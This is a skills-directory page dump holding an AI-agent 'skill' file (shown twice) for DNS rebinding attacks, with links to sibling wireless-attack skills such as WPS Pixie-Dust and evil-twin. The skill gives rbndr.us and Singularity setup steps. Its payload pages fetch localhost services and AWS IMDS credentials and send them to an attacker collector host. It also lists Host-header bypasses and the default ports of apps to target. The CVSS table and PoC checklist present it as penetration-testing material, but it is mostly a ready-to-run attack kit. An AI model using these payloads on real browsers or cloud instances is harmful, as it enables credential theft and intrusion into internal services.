[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M770BGSSS3YJ7WH2PCD7C5DH":3,"skill-same:01M770BGSSS3YJ7WH2PCD7C5DH":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M770BGSSS3YJ7WH2PCD7C5DH","dns-rebinding",null,"DNS rebinding attack to bypass browser same-origin policy and reach IMDS\u002Flocalhost\u002Finternal services: TTL=0 rebind mechanics, rbndr.us\u002Fsingularity tooling, browser DNS cache pinning, chaining into AWS\u002FGCP\u002FAzure IMDS credential pivot. Use when SSRF is blocked but a victim browser can be induced to make requests, or when a localhost service is exposed. Triggers on: 'dns rebinding', 'rebind', 'DNS TTL 0', 'singularity', 'rbndr', 'localhost bypass via browser', 'imds via browser', 'SSRF via DNS'.","Iwakishirokoshu\u002FHermesUltimate","Iwakishirokoshu","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F194847626?v=4","01M75P4CVGA89TTCE8JGMNAQQ9","Around","01M75P4CWF85V6GVSEFKGGFZ03",0,"MIT","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fdns-rebinding\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: dns-rebinding\ndescription: \"DNS rebinding attack to bypass browser same-origin policy and reach IMDS\u002Flocalhost\u002Finternal services: TTL=0 rebind mechanics, rbndr.us\u002Fsingularity tooling, browser DNS cache pinning, chaining into AWS\u002FGCP\u002FAzure IMDS credential pivot. Use when SSRF is blocked but a victim browser can be induced to make requests, or when a localhost service is exposed. Triggers on: 'dns rebinding', 'rebind', 'DNS TTL 0', 'singularity', 'rbndr', 'localhost bypass via browser', 'imds via browser', 'SSRF via DNS'.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: execution\n  when_to_use: \"dns rebinding rebind TTL 0 singularity rbndr localhost bypass via browser imds via browser SSRF via DNS same origin policy bypass\"\n  tags: dns-rebinding, ssrf, imds, browser, localhost, same-origin-policy, cors\n  mitre_attack: T1557, T1190\n---\n\n# DNS Rebinding\n\nDNS rebinding lets an attacker-controlled page make the victim's browser\ntreat `attacker.com` as if it were `127.0.0.1` (or any internal IP).\nThe browser's same-origin policy checks the hostname, not the IP — so\nafter rebinding, the page's JS can read responses from the internal\nservice as if they were same-origin.\n\n## When This Applies\n\n| Scenario | Viable? |\n|----------|---------|\n| SSRF blocked, but victim browser is reachable | Yes — browser does the internal fetch |\n| Localhost service (Electron app, dev server, K8s dashboard) | Yes — browser calls 127.0.0.1:\u003CPORT> |\n| Cloud IMDS (169.254.169.254) reachable from instance's browser | Yes — rare but critical |\n| Server-side SSRF filter allows `attacker.com` | Yes — rebind to internal IP |\n| Target has DNS-rebinding protection (Host header check) | Partial — see bypass §7 |\n\n## 2. Attack Mechanics\n\n### Phase 1 — Victim resolves attacker.com → public IP\nVictim visits `http:\u002F\u002Fattacker.com\u002Fpayload.html`. Browser resolves the\nDNS name → gets the attacker's real public IP → same-origin allows\nthe page's JS to load and execute.\n\n### Phase 2 — TTL expires, DNS flips to 127.0.0.1\nThe attacker's DNS server returns a very short TTL (0–1 s). After TTL\nexpiry, a second DNS query returns `127.0.0.1` (or target internal IP).\n\n### Phase 3 — JS makes same-origin request\nThe page's JS calls `fetch(\"http:\u002F\u002Fattacker.com\u002Fapi\u002Fv1\u002Fsecret\")`.\nThe browser re-resolves `attacker.com` → gets `127.0.0.1` → sends\nthe request to the local service on the attacker's behalf, receives the\nresponse, and exfiltrates it.\n\n```\n[Browser] → DNS query: attacker.com → [Attacker DNS] → 1.2.3.4 (real)\n                                         ... wait TTL ...\n[Browser] → DNS query: attacker.com → [Attacker DNS] → 127.0.0.1 (rebind)\n[Browser] fetch(\"http:\u002F\u002Fattacker.com:8080\u002Fapi\u002Fsecret\") → [127.0.0.1:8080]\n[Browser] → response body exfiltrated to attacker\n```\n\n## 3. Tooling\n\n### rbndr.us (fastest, no setup)\nPublic DNS rebinding service by Taviso. Construct a hostname that encodes\nboth IPs:\n\n```\n\u003Chex-public-ip>.\u003Chex-target-ip>.rbndr.us\n```\n\nExample — rebind `attacker.com` from `1.2.3.4` to `127.0.0.1`:\n```bash\nPUBLIC_HEX=$(python3 -c \"import socket; a='\u003CYOUR_VPS_IP>'; print(''.join(f'{int(x):02x}' for x in a.split('.')))\")\nTARGET_HEX=\"7f000001\"   # 127.0.0.1\nREBIND_HOST=\"${PUBLIC_HEX}.${TARGET_HEX}.rbndr.us\"\necho \"Rebind hostname: $REBIND_HOST\"\n# → e.g. 01020304.7f000001.rbndr.us\n```\n\nThe rbndr.us server alternates between the two IPs on each DNS request.\nSet up your payload page at `http:\u002F\u002F$REBIND_HOST:8080\u002F`.\n\n### Singularity (full-featured, self-hosted)\n```bash\ngit clone https:\u002F\u002Fgithub.com\u002Fnccgroup\u002Fsingularity \u002Fworkspace\u002Fsingularity\ncd \u002Fworkspace\u002Fsingularity\u002Fhtml\n\n# Configure the manager\n# Edit cmd\u002Fsingularity-server\u002Fmain.go: set rebindingFn to \"rr\" (round-robin)\n# or \"fs\" (first satisfied)\n\ndocker run -it --rm \\\n  -p 53:53\u002Fudp -p 8080:8080 \\\n  nccgroup\u002Fsingularity\n\n# Access the manager at http:\u002F\u002F\u003CVPS>:8080\u002Fmanager.html\n# Set \"Attack host\" = attacker's public IP\n# Set \"Target host\" = 127.0.0.1 (or internal IP)\n# Set \"Target port\" = target port (e.g. 2375 for Docker, 6443 for K8s)\n# Generate the attack URL; deliver to victim\n```\n\n## 4. Payload Page\n\nMinimal JS to fetch once rebinding succeeds:\n\n```html\n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Cbody>\n\u003Cscript>\nconst host = location.hostname;   \u002F\u002F e.g. xxxx.7f000001.rbndr.us\nconst target = \"http:\u002F\u002F\" + host + \":\u003CTARGET_PORT>\u002F\";\nconst exfil  = \"https:\u002F\u002F\u003CATTACKER_COLLECTOR>\u002F\";\n\nfunction tryFetch(attempt) {\n    fetch(target, {cache: \"no-store\"})\n        .then(r => r.text())\n        .then(body => {\n            \u002F\u002F Got internal service response — exfiltrate\n            fetch(exfil + \"?d=\" + btoa(body).slice(0,1000));\n        })\n        .catch(err => {\n            \u002F\u002F DNS hasn't flipped yet, retry\n            if (attempt \u003C 30) setTimeout(() => tryFetch(attempt+1), 1000);\n        });\n}\n\nsetTimeout(() => tryFetch(0), 500);  \u002F\u002F give first TTL a moment to expire\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\nFor IMDS specifically, AWS v1 and GCP do not require special headers from\nthe browser perspective — the only protection is Host header validation\n(see §7). Azure IMDS requires `Metadata: true` header — inject via:\n```javascript\nfetch(target, {headers: {\"Metadata\": \"true\"}, cache: \"no-store\"})\n```\n\n## 5. Cloud IMDS Pivot\n\nOnce the rebinding hits `169.254.169.254`:\n\n```javascript\n\u002F\u002F AWS IMDSv1 — enumerate IAM role\nfetch(\"http:\u002F\u002Fattacker.com\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\", {cache:\"no-store\"})\n  .then(r => r.text())\n  .then(role => {\n    fetch(\"http:\u002F\u002Fattacker.com\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\" + role.trim(), {cache:\"no-store\"})\n      .then(r => r.text())\n      .then(creds => fetch(exfil + \"?c=\" + btoa(creds)));\n  });\n```\n\nExtraction yields `AccessKeyId`, `SecretAccessKey`, `Token` — full\nAWS credential pivot. Treat as equivalent to SSRF → IMDSv1 (Critical).\n\n## 6. Electron \u002F Desktop App Attack\n\nMany Electron apps serve a local HTTP or WebSocket server on\n`127.0.0.1:\u003CPORT>` without authentication, relying on same-origin for\nisolation. DNS rebinding bypasses that entirely:\n\n1. Enumerate the app's local port (scan or read its config file if accessible)\n2. Rebind to `127.0.0.1:\u003Cport>` using rbndr.us\n3. Read API responses, extract tokens\u002Fauth cookies, pivot to backend\n\nTarget ports by app:\n| App | Default port |\n|-----|-------------|\n| VS Code remote | 9229 |\n| Docker Desktop API | 2375 |\n| Kubernetes API | 6443 \u002F 8001 |\n| etcd | 2379 |\n| Jupyter Notebook | 8888 |\n| Kibana | 5601 |\n| Redis | 6379 |\n\n## 7. Defenses and Bypasses\n\n| Defense | Bypass |\n|---------|--------|\n| Host header check (`if Host != expected`) | Try `X-Forwarded-Host`, `X-Host`, empty Host |\n| DNS pinning (browser caches first IP) | Wait for pin to expire (Chrome: 60s); switch to fresh tab |\n| Private network access (PNA) headers | Older browsers lack PNA support; Safari doesn't implement it |\n| IMDSv2 (token-required) | Browser can't set `X-aws-ec2-metadata-token-ttl-seconds` — v2 often blocks |\n| CORS `Access-Control-Allow-Origin` | CORS is about responses — rebinding bypasses by making origin `==` target |\n\nBrowser DNS cache TTLs:\n- Chrome: ignores TTL if \u003C 1s (pins for ~1min); use rbndr TTL of 1s\n- Firefox: respects TTL=0 more reliably\n- Safari: similar to Firefox\n\n## 8. PoC Evidence Checklist\n\nTo file a valid finding:\n- [ ] Demonstrate victim browser receives response from internal target\n- [ ] Show the exfiltrated data (e.g. base64-decoded IMDS response)\n- [ ] Record DNS TTL used and browser version\n- [ ] Show that without the rebind (direct access) the same request fails\n\n## 9. CVSS\n\n| Variant | CVSS vector | Score |\n|---------|-------------|-------|\n| DNS rebind → unauthenticated localhost service (DoS) | AV:N\u002FAC:H\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:N\u002FA:H | 5.3 |\n| DNS rebind → internal API data leak | AV:N\u002FAC:H\u002FPR:N\u002FUI:R\u002FS:C\u002FC:H\u002FI:N\u002FA:N | 7.4 |\n| DNS rebind → IMDSv1 IAM credentials | AV:N\u002FAC:H\u002FPR:N\u002FUI:R\u002FS:C\u002FC:H\u002FI:H\u002FA:H | 9.0 |\n| DNS rebind → Docker socket → RCE | AV:N\u002FAC:H\u002FPR:N\u002FUI:R\u002FS:C\u002FC:H\u002FI:H\u002FA:H | 9.0 |\n\nAC:H reflects the requirement for victim interaction (keeping the tab\nopen during the TTL expiry window).\n\n## 10. Chain Promotion\n\nDNS rebinding is usually a delivery primitive — chain it:\n- `enables` edge to IMDS credential node (if IMDS pivot succeeded)\n- `enables` edge to internal service vuln (if internal service is exploitable)\n- `requires` edge from \"victim interaction\" precondition node\n\n```\nkg_add_node(\"vulnerability\", \"DNS rebinding → IMDS credential pivot\",\n  props={\"attack_host\": \"\u003CREBIND_HOST>\", \"target_ip\": \"169.254.169.254\",\n         \"browser\": \"Chrome 124\", \"imds_role\": \"\u003CROLE_NAME>\",\n         \"exfil_method\": \"fetch to attacker callback\",\n         \"key\": \"dns-rebinding:imds-pivot\"})\n```\n","# DNS Rebinding\n\nDNS rebinding lets an attacker-controlled page make the victim's browser\ntreat `attacker.com` as if it were `127.0.0.1` (or any internal IP).\nThe browser's same-origin policy checks the hostname, not the IP — so\nafter rebinding, the page's JS can read responses from the internal\nservice as if they were same-origin.\n\n## When This Applies\n\n| Scenario | Viable? |\n|----------|---------|\n| SSRF blocked, but victim browser is reachable | Yes — browser does the internal fetch |\n| Localhost service (Electron app, dev server, K8s dashboard) | Yes — browser calls 127.0.0.1:\u003CPORT> |\n| Cloud IMDS (169.254.169.254) reachable from instance's browser | Yes — rare but critical |\n| Server-side SSRF filter allows `attacker.com` | Yes — rebind to internal IP |\n| Target has DNS-rebinding protection (Host header check) | Partial — see bypass §7 |\n\n## 2. Attack Mechanics\n\n### Phase 1 — Victim resolves attacker.com → public IP\nVictim visits `http:\u002F\u002Fattacker.com\u002Fpayload.html`. Browser resolves the\nDNS name → gets the attacker's real public IP → same-origin allows\nthe page's JS to load and execute.\n\n### Phase 2 — TTL expires, DNS flips to 127.0.0.1\nThe attacker's DNS server returns a very short TTL (0–1 s). After TTL\nexpiry, a second DNS query returns `127.0.0.1` (or target internal IP).\n\n### Phase 3 — JS makes same-origin request\nThe page's JS calls `fetch(\"http:\u002F\u002Fattacker.com\u002Fapi\u002Fv1\u002Fsecret\")`.\nThe browser re-resolves `attacker.com` → gets `127.0.0.1` → sends\nthe request to the local service on the attacker's behalf, receives the\nresponse, and exfiltrates it.\n\n```\n[Browser] → DNS query: attacker.com → [Attacker DNS] → 1.2.3.4 (real)\n                                         ... wait TTL ...\n[Browser] → DNS query: attacker.com → [Attacker DNS] → 127.0.0.1 (rebind)\n[Browser] fetch(\"http:\u002F\u002Fattacker.com:8080\u002Fapi\u002Fsecret\") → [127.0.0.1:8080]\n[Browser] → response body exfiltrated to attacker\n```\n\n## 3. Tooling\n\n### rbndr.us (fastest, no setup)\nPublic DNS rebinding service by Taviso. Construct a hostname that encodes\nboth IPs:\n\n```\n\u003Chex-public-ip>.\u003Chex-target-ip>.rbndr.us\n```\n\nExample — rebind `attacker.com` from `1.2.3.4` to `127.0.0.1`:\n```bash\nPUBLIC_HEX=$(python3 -c \"import socket; a='\u003CYOUR_VPS_IP>'; print(''.join(f'{int(x):02x}' for x in a.split('.')))\")\nTARGET_HEX=\"7f000001\"   # 127.0.0.1\nREBIND_HOST=\"${PUBLIC_HEX}.${TARGET_HEX}.rbndr.us\"\necho \"Rebind hostname: $REBIND_HOST\"\n# → e.g. 01020304.7f000001.rbndr.us\n```\n\nThe rbndr.us server alternates between the two IPs on each DNS request.\nSet up your payload page at `http:\u002F\u002F$REBIND_HOST:8080\u002F`.\n\n### Singularity (full-featured, self-hosted)\n```bash\ngit clone https:\u002F\u002Fgithub.com\u002Fnccgroup\u002Fsingularity \u002Fworkspace\u002Fsingularity\ncd \u002Fworkspace\u002Fsingularity\u002Fhtml\n\n# Configure the manager\n# Edit cmd\u002Fsingularity-server\u002Fmain.go: set rebindingFn to \"rr\" (round-robin)\n# or \"fs\" (first satisfied)\n\ndocker run -it --rm \\\n  -p 53:53\u002Fudp -p 8080:8080 \\\n  nccgroup\u002Fsingularity\n\n# Access the manager at http:\u002F\u002F\u003CVPS>:8080\u002Fmanager.html\n# Set \"Attack host\" = attacker's public IP\n# Set \"Target host\" = 127.0.0.1 (or internal IP)\n# Set \"Target port\" = target port (e.g. 2375 for Docker, 6443 for K8s)\n# Generate the attack URL; deliver to victim\n```\n\n## 4. Payload Page\n\nMinimal JS to fetch once rebinding succeeds:\n\n```html\n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Cbody>\n\u003Cscript>\nconst host = location.hostname;   \u002F\u002F e.g. xxxx.7f000001.rbndr.us\nconst target = \"http:\u002F\u002F\" + host + \":\u003CTARGET_PORT>\u002F\";\nconst exfil  = \"https:\u002F\u002F\u003CATTACKER_COLLECTOR>\u002F\";\n\nfunction tryFetch(attempt) {\n    fetch(target, {cache: \"no-store\"})\n        .then(r => r.text())\n        .then(body => {\n            \u002F\u002F Got internal service response — exfiltrate\n            fetch(exfil + \"?d=\" + btoa(body).slice(0,1000));\n        })\n        .catch(err => {\n            \u002F\u002F DNS hasn't flipped yet, retry\n            if (attempt \u003C 30) setTimeout(() => tryFetch(attempt+1), 1000);\n        });\n}\n\nsetTimeout(() => tryFetch(0), 500);  \u002F\u002F give first TTL a moment to expire\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\nFor IMDS specifically, AWS v1 and GCP do not require special headers from\nthe browser perspective — the only protection is Host header validation\n(see §7). Azure IMDS requires `Metadata: true` header — inject via:\n```javascript\nfetch(target, {headers: {\"Metadata\": \"true\"}, cache: \"no-store\"})\n```\n\n## 5. Cloud IMDS Pivot\n\nOnce the rebinding hits `169.254.169.254`:\n\n```javascript\n\u002F\u002F AWS IMDSv1 — enumerate IAM role\nfetch(\"http:\u002F\u002Fattacker.com\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\", {cache:\"no-store\"})\n  .then(r => r.text())\n  .then(role => {\n    fetch(\"http:\u002F\u002Fattacker.com\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\" + role.trim(), {cache:\"no-store\"})\n      .then(r => r.text())\n      .then(creds => fetch(exfil + \"?c=\" + btoa(creds)));\n  });\n```\n\nExtraction yields `AccessKeyId`, `SecretAccessKey`, `Token` — full\nAWS credential pivot. Treat as equivalent to SSRF → IMDSv1 (Critical).\n\n## 6. Electron \u002F Desktop App Attack\n\nMany Electron apps serve a local HTTP or WebSocket server on\n`127.0.0.1:\u003CPORT>` without authentication, relying on same-origin for\nisolation. DNS rebinding bypasses that entirely:\n\n1. Enumerate the app's local port (scan or read its config file if accessible)\n2. Rebind to `127.0.0.1:\u003Cport>` using rbndr.us\n3. Read API responses, extract tokens\u002Fauth cookies, pivot to backend\n\nTarget ports by app:\n| App | Default port |\n|-----|-------------|\n| VS Code remote | 9229 |\n| Docker Desktop API | 2375 |\n| Kubernetes API | 6443 \u002F 8001 |\n| etcd | 2379 |\n| Jupyter Notebook | 8888 |\n| Kibana | 5601 |\n| Redis | 6379 |\n\n## 7. Defenses and Bypasses\n\n| Defense | Bypass |\n|---------|--------|\n| Host header check (`if Host != expected`) | Try `X-Forwarded-Host`, `X-Host`, empty Host |\n| DNS pinning (browser caches first IP) | Wait for pin to expire (Chrome: 60s); switch to fresh tab |\n| Private network access (PNA) headers | Older browsers lack PNA support; Safari doesn't implement it |\n| IMDSv2 (token-required) | Browser can't set `X-aws-ec2-metadata-token-ttl-seconds` — v2 often blocks |\n| CORS `Access-Control-Allow-Origin` | CORS is about responses — rebinding bypasses by making origin `==` target |\n\nBrowser DNS cache TTLs:\n- Chrome: ignores TTL if \u003C 1s (pins for ~1min); use rbndr TTL of 1s\n- Firefox: respects TTL=0 more reliably\n- Safari: similar to Firefox\n\n## 8. PoC Evidence Checklist\n\nTo file a valid finding:\n- [ ] Demonstrate victim browser receives response from internal target\n- [ ] Show the exfiltrated data (e.g. base64-decoded IMDS response)\n- [ ] Record DNS TTL used and browser version\n- [ ] Show that without the rebind (direct access) the same request fails\n\n## 9. CVSS\n\n| Variant | CVSS vector | Score |\n|---------|-------------|-------|\n| DNS rebind → unauthenticated localhost service (DoS) | AV:N\u002FAC:H\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:N\u002FA:H | 5.3 |\n| DNS rebind → internal API data leak | AV:N\u002FAC:H\u002FPR:N\u002FUI:R\u002FS:C\u002FC:H\u002FI:N\u002FA:N | 7.4 |\n| DNS rebind → IMDSv1 IAM credentials | AV:N\u002FAC:H\u002FPR:N\u002FUI:R\u002FS:C\u002FC:H\u002FI:H\u002FA:H | 9.0 |\n| DNS rebind → Docker socket → RCE | AV:N\u002FAC:H\u002FPR:N\u002FUI:R\u002FS:C\u002FC:H\u002FI:H\u002FA:H | 9.0 |\n\nAC:H reflects the requirement for victim interaction (keeping the tab\nopen during the TTL expiry window).\n\n## 10. Chain Promotion\n\nDNS rebinding is usually a delivery primitive — chain it:\n- `enables` edge to IMDS credential node (if IMDS pivot succeeded)\n- `enables` edge to internal service vuln (if internal service is exploitable)\n- `requires` edge from \"victim interaction\" precondition node\n\n```\nkg_add_node(\"vulnerability\", \"DNS rebinding → IMDS credential pivot\",\n  props={\"attack_host\": \"\u003CREBIND_HOST>\", \"target_ip\": \"169.254.169.254\",\n         \"browser\": \"Chrome 124\", \"imds_role\": \"\u003CROLE_NAME>\",\n         \"exfil_method\": \"fetch to attacker callback\",\n         \"key\": \"dns-rebinding:imds-pivot\"})\n```\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"dns-rebinding, ssrf, imds, browser, localhost, same-origin-policy, cors","execution","dns rebinding rebind TTL 0 singularity rbndr localhost bypass via browser imds via browser SSRF via DNS same origin policy bypass","T1557, T1190","Bash Read Write","main","c0c483827a963764d5e1a663a9591867d47289e6","stack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fdns-rebinding","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu","2026-06-15 13:48:41",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Iwakishirokoshu\u002FHermesUltimate --skill dns-rebinding",{"tool":42,"command":43},"bunx","bunx skills add Iwakishirokoshu\u002FHermesUltimate --skill dns-rebinding",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Iwakishirokoshu\u002FHermesUltimate --skill dns-rebinding","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fdns-rebinding\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M770W8JDE5EC1TJT4GSDWD78","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M770W4B7T5VCVHB88V1F02H1","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M770W093C8FAV8S34K8VB6T9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M770VTNAQGZ3D0RQVFEKTE8Z","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M770VNG05ZX3CV84R9GX8PJN","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M770VHFH7N192V56PFSRXF5K","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]